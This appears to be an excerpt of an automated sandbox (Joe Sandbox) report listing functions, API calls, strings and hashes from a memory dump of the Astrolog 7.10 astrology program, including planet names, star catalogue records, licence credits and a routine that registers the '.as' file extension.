Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

Part of subcall function 6C8214FC: _fprintf.LIBCMT ref: 6C8215E2
Part of subcall function 6C8214FC: SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C8216FC
Part of subcall function 6C8214FC: SetBkMode.GDI32(00000001), ref: 6C82170A
Part of subcall function 6C8214FC: SelectObject.GDI32(?,00000000), ref: 6C82171C

Part of subcall function 6C8214FC: _fputc.LIBCMT ref: 6C82163A

_sprintf.LIBCMT ref: 6C80DA6D

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C80DA9F

Part of subcall function 6C881F84: __flsbuf.LIBCMT ref: 6C881FFA

_sprintf.LIBCMT ref: 6C80DAD4
_sprintf.LIBCMT ref: 6C80DB11
_sprintf.LIBCMT ref: 6C80DB4E
_sprintf.LIBCMT ref: 6C80DB90
_sprintf.LIBCMT ref: 6C80DBD3
_sprintf.LIBCMT ref: 6C80DC1A
_sprintf.LIBCMT ref: 6C80DC51
_sprintf.LIBCMT ref: 6C80DC8D
_sprintf.LIBCMT ref: 6C80DCBE
_sprintf.LIBCMT ref: 6C80DCFB
_sprintf.LIBCMT ref: 6C80DD76
_sprintf.LIBCMT ref: 6C80DD90
_sprintf.LIBCMT ref: 6C80DDF9

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C80DEBB
_sprintf.LIBCMT ref: 6C80DF65
_sprintf.LIBCMT ref: 6C80DFED
_sprintf.LIBCMT ref: 6C80E039

Strings

%6d , xrefs: 6C80DFE7
%s, xrefs: 6C80E033
%.3s, xrefs: 6C80DA99, 6C80DACE, 6C80DB0B, 6C80DB48, 6C80DB86, 6C80DB8E, 6C80DBAC, 6C80DBD1, 6C80DC18, 6C80DC4F, 6C80DC8B, 6C80DCBC
%5.2f%s%s, xrefs: 6C80DF5F
No. Name Rulers Detriments Exalt Fall , xrefs: 6C80DA1B
Astrolog, xrefs: 6C80D9FD
Esoteric Hierarchical Ray, xrefs: 6C80DA25
%4d %-8.8s , xrefs: 6C80DEB5
Star #%2d , xrefs: 6C80DD8A
%2d %-12s, xrefs: 6C80DA67, 6C80DD70
%5.2f, xrefs: 6C80DDF3
%s planets and objects:, xrefs: 6C80DA05
, xrefs: 6C80DAAC, 6C80DAE1, 6C80DB1E, 6C80DB5B, 6C80DBA2, 6C80DBB1, 6C80DBE0, 6C80DC27, 6C80DC5E, 6C80DC9A, 6C80DCCB

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDeviceModePageTextViewportWindow$ColorObjectSelectStart__flsbuf__output_l_fprintf_fputc
String ID: $ %5.2f$ %5.2f%s%s$ %s$%.3s$%2d %-12s$%4d %-8.8s $%6d $%s planets and objects:$Astrolog$Esoteric Hierarchical Ray$No. Name Rulers Detriments Exalt Fall $Star #%2d
API String ID: 3459736133-4122945398
Opcode ID: 1185814814e1c6ac5ee7f02da25f3e4fccedf97a67461d3accdf3dec93dae2d9
Instruction ID: c9499e7286595c4bdb91ac0f357c6634eac9f805d5d32dc8055d88e82a07e3ba
Opcode Fuzzy Hash: 1185814814e1c6ac5ee7f02da25f3e4fccedf97a67461d3accdf3dec93dae2d9
Instruction Fuzzy Hash: 7DF1D371A041489ACB34ABE8DB59EEEB735AF42308F500C79D0565AF90EF35D98CCB91

Function 6C85095B Relevance: 56.3, APIs: 5, Strings: 27, Instructions: 313COMMON

Download Yara Rule

APIs

Part of subcall function 6C8466BD: _memset.LIBCMT ref: 6C8466D4

_sprintf.LIBCMT ref: 6C850AFA
_sprintf.LIBCMT ref: 6C850B7D
_fgets.LIBCMT ref: 6C850BF2
_strpbrk.LIBCMT ref: 6C850C46
_strpbrk.LIBCMT ref: 6C850C66

Strings

Juno, xrefs: 6C850CC6
Earth, xrefs: 6C850A86
NULL, xrefs: 6C850BB8
%d: not found (asteroid), xrefs: 6C850B6F
Saturn, xrefs: 6C850A26
Chiron, xrefs: 6C850CB5
Neptune, xrefs: 6C850A3A
Pluto, xrefs: 6C850A48
true Node, xrefs: 6C850A57
Pholus, xrefs: 6C850CAE
Ceres, xrefs: 6C850A90
Jupiter, xrefs: 6C850A18
.;C:\Astrolog\, xrefs: 6C850BAF
Venus, xrefs: 6C850A04
Pallas, xrefs: 6C850CD0
mean Node, xrefs: 6C850A4F
Vesta, xrefs: 6C850CBC
Uranus, xrefs: 6C850A30
intp. Apogee, xrefs: 6C850A72
osc. Apogee, xrefs: 6C850A6B
Mars, xrefs: 6C850A11
Moon, xrefs: 6C8509E5
intp. Perigee, xrefs: 6C850A7E
%d: not found (planetary moon), xrefs: 6C850B77
#, xrefs: 6C850C60
mean Apogee, xrefs: 6C850A5E
Mercury, xrefs: 6C8509F0

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf_strpbrk$_fgets_memset
String ID: #$%d: not found (asteroid)$%d: not found (planetary moon)$.;C:\Astrolog\$Ceres$Chiron$Earth$Juno$Jupiter$Mars$Mercury$Moon$NULL$Neptune$Pallas$Pholus$Pluto$Saturn$Uranus$Venus$Vesta$intp. Apogee$intp. Perigee$mean Apogee$mean Node$osc. Apogee$true Node
API String ID: 4260865157-837061061
Opcode ID: f22f7db8b6b9d0b4fac5025b3d18bd17e4cfb4dbc013bec2772c2cc9edcd5451
Instruction ID: b0f8edd1294c527cc1801751ad2112fb71cf33447eca03f5d0efe2ed6611f506
Opcode Fuzzy Hash: f22f7db8b6b9d0b4fac5025b3d18bd17e4cfb4dbc013bec2772c2cc9edcd5451
Instruction Fuzzy Hash: BDA19D359082DD9FDBB24A2C8B9075937619B0731CFE74DA2D4859BF40DBF0ACA98381

Function 6C862889 Relevance: 52.6, APIs: 18, Strings: 12, Instructions: 145registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,000000FF), ref: 6C8628AE
_sprintf.LIBCMT ref: 6C8628C7
_sprintf.LIBCMT ref: 6C8628F2
RegCreateKeyA.ADVAPI32(80000001,Software\Classes\.as,?), ref: 6C862912
RegSetValueA.ADVAPI32(?,00000000,00000001,Astrolog.as,0000000B), ref: 6C862932
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 6C862942
RegCreateKeyA.ADVAPI32(80000001,Software\Classes\Astrolog.as,?), ref: 6C862955
RegSetValueA.ADVAPI32(?,00000000,00000001,Astrolog Settings,00000011), ref: 6C86296F
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 6C86297F
RegCreateKeyA.ADVAPI32(80000001,Software\Classes\Astrolog.as\shell\open\command,?), ref: 6C862992
RegSetValueA.ADVAPI32(?,00000000,00000001,?,00000000), ref: 6C8629B5
RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000), ref: 6C8629C1
RegCreateKeyA.ADVAPI32(80000001,Software\Classes\Astrolog.as\shell\edit\command,?), ref: 6C8629D4
RegSetValueA.ADVAPI32(?,00000000,00000001,Notepad %1,0000000A), ref: 6C8629EA
RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000), ref: 6C8629F6
RegCreateKeyA.ADVAPI32(80000001,Software\Classes\Astrolog.as\DefaultIcon,?), ref: 6C862A09
RegSetValueA.ADVAPI32(?,00000000,00000001,?,00000000), ref: 6C862A28
RegCloseKey.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000), ref: 6C862A42

Part of subcall function 6C821778: _sprintf.LIBCMT ref: 6C82179F
Part of subcall function 6C821778: MessageBoxA.USER32(?,?,00000040), ref: 6C8217B4

Strings

Software\Classes\Astrolog.as\DefaultIcon, xrefs: 6C862A03
%1, xrefs: 6C8628E7
Notepad %1, xrefs: 6C8629DC
Software\Classes\Astrolog.as, xrefs: 6C86294F
%s,1, xrefs: 6C8628C1
Software\Classes\Astrolog.as\shell\open\command, xrefs: 6C86298C
Software\Classes\Astrolog.as\shell\edit\command, xrefs: 6C8629CE
Registered Astrolog as owner of file extension ".as"., xrefs: 6C862A56
Failed to register Astrolog file extensions.This error is ignorable and all features of Astrolog will still work., xrefs: 6C862A2E
Software\Classes\.as, xrefs: 6C862907
Astrolog.as, xrefs: 6C862924
Astrolog Settings, xrefs: 6C862961

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CloseCreateValue$_sprintf$FileMessageModuleName
String ID: %1$%s,1$Astrolog Settings$Astrolog.as$Failed to register Astrolog file extensions.This error is ignorable and all features of Astrolog will still work.$Notepad %1$Registered Astrolog as owner of file extension ".as".$Software\Classes\.as$Software\Classes\Astrolog.as$Software\Classes\Astrolog.as\DefaultIcon$Software\Classes\Astrolog.as\shell\edit\command$Software\Classes\Astrolog.as\shell\open\command
API String ID: 3863352425-3259997405
Opcode ID: 126e91a3aa368650cf3c64fc0bcc289cd324f73b7f127252b1a2ac78537cb205
Instruction ID: a67a9e6cf20a57be3cebd3c2af5ea10fab6fc4e688eca5d170522341664621d7
Opcode Fuzzy Hash: 126e91a3aa368650cf3c64fc0bcc289cd324f73b7f127252b1a2ac78537cb205
Instruction Fuzzy Hash: D941A270A0021DBAEB309722CE49FEA767DEB01308F0509B1B955F2A51DB75ADC59F90

Function 6C80C952 Relevance: 52.6, APIs: 3, Strings: 27, Instructions: 118COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80C981
_sprintf.LIBCMT ref: 6C80C9A0

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C80C9C2

Part of subcall function 6C881F84: __flsbuf.LIBCMT ref: 6C881FFA

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

Strings

library and formulas are by Alois Treindl, also from Astrodienst AG., xrefs: 6C80CA26
Astrolog, xrefs: 6C80C992
Released %s - By Walter D. Pullen, xrefs: 6C80C9BC
PostScript graphics routines by Brian D. Willoughby., xrefs: 6C80CA99
Timezone and Daylight Saving Time date changes converted from, xrefs: 6C80CA79
October 2020, xrefs: 6C80C9B4
32 bit, xrefs: 6C80C970
for Astrologers' by Michael Erlewine, available from Matrix Software., xrefs: 6C80CA59
implied of any kind. These license and copyright notices must not be, xrefs: 6C80CAEC
Main ephemeris databases and calculation routines are from the library, xrefs: 6C80C9F6
TZ database: https://data.iana.org/time-zones/tz-link.html, xrefs: 6C80CA89
http://www.gnu.org and in the license.htm file included with the, xrefs: 6C80CAC9
changed or removed by any user or editor of the program., xrefs: 6C80CAFC
it under the terms of the GNU General Public License, as described at, xrefs: 6C80CAB9
program. Astrolog is distributed without any warranty expressed or, xrefs: 6C80CADC
7.10, xrefs: 6C80C98D
Special thanks to all those unmentioned, seen and unseen, who have, xrefs: 6C80CB13
pointed out problems, suggested features, & sent many positive vibes! :), xrefs: 6C80CB23
Atlas list of city locations from GeoNames: https://www.geonames.org/, xrefs: 6C80CA69
** %s version %s%s **, xrefs: 6C80C99A
IMPORTANT: Astrolog is free software. You can distribute and/or modify, xrefs: 6C80CAA9
Astara@msn.com - http://www.astrolog.org/astrolog.htm, xrefs: 6C80C9DF
Original planetary calculation formulas were converted from, xrefs: 6C80CA36
Ephemeris Free Edition at http://www.astro.com/swisseph. Old 'Placalc', xrefs: 6C80CA16
for %s Windows, xrefs: 6C80C97B
'Swiss Ephemeris' by Astrodienst AG, subject to license for Swiss, xrefs: 6C80CA06
routines by James Neely, as listed in 'Manual of Computer Programming, xrefs: 6C80CA46

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText__flsbuf__output_l
String ID: for %s Windows$'Swiss Ephemeris' by Astrodienst AG, subject to license for Swiss$** %s version %s%s **$32 bit$7.10$Astara@msn.com - http://www.astrolog.org/astrolog.htm$Astrolog$Atlas list of city locations from GeoNames: https://www.geonames.org/$Ephemeris Free Edition at http://www.astro.com/swisseph. Old 'Placalc'$IMPORTANT: Astrolog is free software. You can distribute and/or modify$Main ephemeris databases and calculation routines are from the library$October 2020$Original planetary calculation formulas were converted from$PostScript graphics routines by Brian D. Willoughby.$Released %s - By Walter D. Pullen$Special thanks to all those unmentioned, seen and unseen, who have$TZ database: https://data.iana.org/time-zones/tz-link.html$Timezone and Daylight Saving Time date changes converted from$changed or removed by any user or editor of the program.$for Astrologers' by Michael Erlewine, available from Matrix Software.$http://www.gnu.org and in the license.htm file included with the$implied of any kind. These license and copyright notices must not be$it under the terms of the GNU General Public License, as described at$library and formulas are by Alois Treindl, also from Astrodienst AG.$pointed out problems, suggested features, & sent many positive vibes! :)$program. Astrolog is distributed without any warranty expressed or$routines by James Neely, as listed in 'Manual of Computer Programming
API String ID: 1481945667-4013609975
Opcode ID: 3ce7168985595024811c3b301bf89b68397c7f72dcd5c74ca7d042214ce1825a
Instruction ID: 85c5468e03c2593a5025a0bfc64dae41d53e661af6c810c1f7a85487dc7f45aa
Opcode Fuzzy Hash: 3ce7168985595024811c3b301bf89b68397c7f72dcd5c74ca7d042214ce1825a
Instruction Fuzzy Hash: 28411176705014BA8F317FE88F0ACD93AA9FB0A329B504C35B11161F52CB658918E7FB

Function 6C85047C Relevance: 50.9, APIs: 8, Strings: 21, Instructions: 197COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 6C85048D
_strncmp.LIBCMT ref: 6C8504A5
_strncmp.LIBCMT ref: 6C8504D3
_strncmp.LIBCMT ref: 6C8504EB
_strncmp.LIBCMT ref: 6C850516
_strncmp.LIBCMT ref: 6C85052A
_strncmp.LIBCMT ref: 6C85057C
_strncmp.LIBCMT ref: 6C850594

Strings

Mula,laSco,ICRS,17,33,36.52012,-37,06,13.7648,-8.53,-30.8,-3,5.71,1.62,-37,11673, xrefs: 6C850633
Mula, xrefs: 6C85058E
,laSco, xrefs: 6C85055E
spica, xrefs: 6C850484, 6C85048B
Gal. Pole IAU1958,GP1958,1950,12,49,0.0,27,24,0.0,0.0,0.0,0.0,0.0,0.0,0,0, xrefs: 6C8505E1
pushya, xrefs: 6C850509, 6C850514
,SgrA*, xrefs: 6C8505A4, 6C8505A9
revati, xrefs: 6C8504C2, 6C8504D1
Gal. Pole,GPol,ICRS,12,51,36.7151981,27,06,11.193172,0.0,0.0,0.0,0.0,0.0,0,0, xrefs: 6C850615
Revati, xrefs: 6C8504E5
,deCnc, xrefs: 6C8504FB, 6C850500, 6C850536
Pushya, xrefs: 6C850524
,GPol, xrefs: 6C8505FD, 6C850602, 6C85061E
,GP1958, xrefs: 6C8505C7, 6C8505EA
,zePsc, xrefs: 6C8504B5
Spica,alVir,ICRS,13,25,11.57937,-11,09,40.7501,-42.35,-30.67,1,13.06,0.97,-10,3672, xrefs: 6C85065F
mula, xrefs: 6C85056B, 6C85057A
Revati,zePsc,ICRS,01,13,43.88735,+07,34,31.2745,145,-55.69,15,18.76,5.187,06,174, xrefs: 6C85064C
Spica, xrefs: 6C85049F
Pushya,deCnc,ICRS,08,44,41.09921,+18,09,15.5034,-17.67,-229.26,17.14,24.98,3.94,18,2027, xrefs: 6C850549
Gal. Center,SgrA*,2000,17,45,40.03599,-29,00,28.1699,-2.755718425,-5.547,0.0,0.125,999.99,0,0, xrefs: 6C8505BC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _strncmp
String ID: ,GP1958$,GPol$,SgrA*$,deCnc$,laSco$,zePsc$Gal. Center,SgrA*,2000,17,45,40.03599,-29,00,28.1699,-2.755718425,-5.547,0.0,0.125,999.99,0,0$Gal. Pole IAU1958,GP1958,1950,12,49,0.0,27,24,0.0,0.0,0.0,0.0,0.0,0.0,0,0$Gal. Pole,GPol,ICRS,12,51,36.7151981,27,06,11.193172,0.0,0.0,0.0,0.0,0.0,0,0$Mula$Mula,laSco,ICRS,17,33,36.52012,-37,06,13.7648,-8.53,-30.8,-3,5.71,1.62,-37,11673$Pushya$Pushya,deCnc,ICRS,08,44,41.09921,+18,09,15.5034,-17.67,-229.26,17.14,24.98,3.94,18,2027$Revati$Revati,zePsc,ICRS,01,13,43.88735,+07,34,31.2745,145,-55.69,15,18.76,5.187,06,174$Spica$Spica,alVir,ICRS,13,25,11.57937,-11,09,40.7501,-42.35,-30.67,1,13.06,0.97,-10,3672$mula$pushya$revati$spica
API String ID: 909875538-1572107271
Opcode ID: 914e87138cb11c15f13d5cc0df96072fbc616c35198af589ca4eae40e627002d
Instruction ID: 4dd29b9ac949a007e2a5ccd2c6ab2ed6914d810aad8e93500b9e60706a69d46e
Opcode Fuzzy Hash: 914e87138cb11c15f13d5cc0df96072fbc616c35198af589ca4eae40e627002d
Instruction Fuzzy Hash: 4251482350565966EA3069186F11B9B138D5BCA36CFD64820FD04AFFC5EB91FE1482D8

Function 6C85CAAF Relevance: 47.6, APIs: 19, Strings: 8, Instructions: 364windowCOMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,00000446,?,000000FF), ref: 6C85CB9D
GetDlgItemTextA.USER32(?,00000445,?,000000FF), ref: 6C85CBBD
GetDlgItemTextA.USER32(?,00000448,?,000000FF), ref: 6C85CBDD
GetDlgItemTextA.USER32(?,00000447,?,000000FF), ref: 6C85CBFD

Part of subcall function 6C82270F: GetSystemTime.KERNEL32(?), ref: 6C822730
Part of subcall function 6C82270F: GetLocalTime.KERNEL32(?), ref: 6C82274C
Part of subcall function 6C82270F: __floor_pentium4.LIBCMT ref: 6C82280F

Part of subcall function 6C859021: SendDlgItemMessageA.USER32(?,?,0000014B,00000000,00000000), ref: 6C859057
Part of subcall function 6C859021: SendDlgItemMessageA.USER32(?,?,0000014B,00000000,00000000), ref: 6C859062
Part of subcall function 6C859021: SendDlgItemMessageA.USER32(?,?,0000014B,00000000,00000000), ref: 6C85906D
Part of subcall function 6C859021: SendDlgItemMessageA.USER32(?,?,0000014B,00000000,00000000), ref: 6C859078
Part of subcall function 6C859021: _sprintf.LIBCMT ref: 6C85909E
Part of subcall function 6C859021: SetDlgItemTextA.USER32(?,?,?), ref: 6C8590B0
Part of subcall function 6C859021: SendDlgItemMessageA.USER32(?,?,00000143,00000000,6C91E178), ref: 6C8590CB
Part of subcall function 6C859021: SetDlgItemInt.USER32(?,?,00000001,00000001), ref: 6C85910A
Part of subcall function 6C859021: _sprintf.LIBCMT ref: 6C85912A

IsDlgButtonChecked.USER32(?,00000543), ref: 6C85CCDE
CheckMenuItem.USER32(00009D06,00000000), ref: 6C85CCF8
IsDlgButtonChecked.USER32(?,000004B7), ref: 6C85CD0E
IsDlgButtonChecked.USER32(?,000004B8), ref: 6C85CD23
EndDialog.USER32(?,00000001), ref: 6C85CE06
CheckDlgButton.USER32(?,00000543), ref: 6C85CE1D
CheckRadioButton.USER32(?,000004B7,000004B9,-000004B7), ref: 6C85CE39
SendDlgItemMessageA.USER32(?,00000444,00000143,00000000,?), ref: 6C85CE88
SendDlgItemMessageA.USER32(?,00000444,00000143,00000000,?), ref: 6C85CEAF
SendDlgItemMessageA.USER32(?,00000444,00000143,00000000,27.321661), ref: 6C85CEBE
SendDlgItemMessageA.USER32(?,00000444,00000143,00000000,29.530588), ref: 6C85CECE
SendDlgItemMessageA.USER32(?,00000443,00000143,00000000,6C8B3018), ref: 6C85CEF9
SendDlgItemMessageA.USER32(?,00000443,00000143,00000000,?), ref: 6C85CF08

Strings

29.530588, xrefs: 6C85CEC0
month, xrefs: 6C85CDEE
27.321661, xrefs: 6C85CEB1
year, xrefs: 6C85CDDF
cusp move ratio, xrefs: 6C85CC55
day, xrefs: 6C85CDD2
time, xrefs: 6C85CDC8
degree per day, xrefs: 6C85CC26

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Item$MessageSend$ButtonText$CheckChecked$Time_sprintf$DialogLocalMenuRadioSystem__floor_pentium4
String ID: 27.321661$29.530588$cusp move ratio$day$degree per day$month$time$year
API String ID: 1383788461-2585614745
Opcode ID: 164c3f0ed8cad32eeebc3a5c45649b0174b7098377bfd0cff55b2ee44819e473
Instruction ID: 9503550aa308dd8b1a7564e4e564d06a99077f4c5bfe6d3f62dd25eb351dd5fc
